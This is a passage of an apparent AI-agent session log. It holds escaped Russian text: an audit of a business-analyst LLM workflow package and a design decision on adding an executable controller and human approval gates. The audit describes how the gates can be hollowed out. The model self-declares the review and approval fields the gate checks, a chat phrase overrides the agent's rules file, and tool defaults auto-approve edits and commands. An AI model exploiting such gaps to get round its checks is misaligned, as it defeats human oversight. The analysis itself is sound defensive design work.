\u0433\u043e\u0442\u043e\u0432 \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435, \u043d\u043e \u043d\u0435 \u043a \u0440\u0430\u0431\u043e\u0442\u0435\\n\u00ab\u043d\u0430 \u0436\u0438\u0432\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0431\u0435\u0437 \u043f\u0440\u0438\u0441\u043c\u043e\u0442\u0440\u0430\u00bb.** \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2014 \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n[\u0413-16](#\u0433-16)). \u0420\u0430\u0437\u0440\u044b\u0432 \u0441 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\u043c\u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043d\u0435 \u0432 \u043d\u0435\u0439, \u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u043d\u0435\u0451:\\n\u043e\u0431\u0449\u0435\u043d\u0438\u0435, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, \u043f\u043e\u0438\u0441\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430\\n\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n\u0442\u0435\u043a\u0441\u0442\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u0430 \u043a\u043e\u0434\u0435.\\n\\n\u0418\u0437 \u0448\u0435\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043e\u0434\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e\\n\u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430), \u0442\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0438 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438, \u0434\u0432\u0430 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n\u043a\u0430\u043a \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435). \u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\\n\\n1. **\u0421\u043c\u0435\u0448\u0435\u043d\u0438\u0435 \u0442\u0440\u0451\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439** \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0442\u0435\u043e\u0440\u0438\u0438), \u043f\u0430\u043a\u0435\u0442\u0430\\n   (\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0437\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430) \u0438 \u0430\u0433\u0435\u043d\u0442\u0430 (LLM \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b). \u041e\u0442\\n   \u043f\u0430\u043a\u0435\u0442\u0430 \u043e\u0436\u0438\u0434\u0430\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0442\u0435\u043e\u0440\u0438\u0438, \u0430 \u043e\u0442 \u0430\u0433\u0435\u043d\u0442\u0430 \u2014 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u043a\u043e\u0434\u0430.\\n2. **\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u00ab\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u043e\u0435 \u2192 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435\u00bb \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u043f\u043e Working JSON, \u043d\u043e\\n   \u043f\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u0442\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0442\u0430 \u0436\u0435 \u043c\u043e\u0434\u0435\u043b\u044c.**\\n   `semantic_review`, `approval` \u0438 `retrieval_status: \\\"read\\\"` \u2014\\n   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n   \u0441\u0443\u043c\u043c\u0430 \u0446\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0446\u0438\u0442\u0430\u0442\u0443 \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u043d\u0435\\n   \u0442\u043e, \u0447\u0442\u043e \u043e\u043d\u0430 \u0432\u0437\u044f\u0442\u0430 \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 ([\u0413-17](#\u0433-17), [\u0413-18](#\u0433-18)).\\n3. **\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430, \u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n   \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0444\u0440\u0430\u0437\u043e\u0439 \u0432 \u0447\u0430\u0442\u0435** \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442 \u0441\u0430\u043c \u0443\u0447\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\\n   \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c `AGENTS.md` \u0441\u0432\u043e\u0438\u043c \u00ab\u0432\u0435\u043a\u0442\u043e\u0440\u043e\u043c\u00bb ([\u0413-04](#\u0433-04), [\u0413-23](#\u0433-23)).\\n4. **\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0435 \u0434\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u044b** (\u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON\\n   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n   \u043c\u043e\u0434\u0435\u043b\u0438 ([\u0413-19](#\u0433-19)).\\n5. **\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0438 hooks \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 Cline v3, \u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0442\u0430\u0432\u0438\u0442 v4.**\\n   \u0412 v4.1.21 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0443\u043d\u043a\u0442\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439, \u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\\n   \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0431\u0435\u0437 \u0432\u043e\u043f\u0440\u043e\u0441\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\\n   Windows \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0431\u044b \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c\\n   \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 ([\u0413-11](#\u0433-11), [\u0413-25](#\u0433-25)).\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:25.666Z] [INFO]       }\n[2026-09-29T07:45:25.666Z] [INFO]     ]\n[2026-09-29T07:45:25.666Z] [INFO]   },\n[2026-09-29T07:45:25.666Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:25.666Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"uuid\": \"c0f32a21-1c76-4e7a-a3b9-9413aa8e615e\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:25.654Z\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:25.666Z] [INFO]     \"stdout\": \"## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f 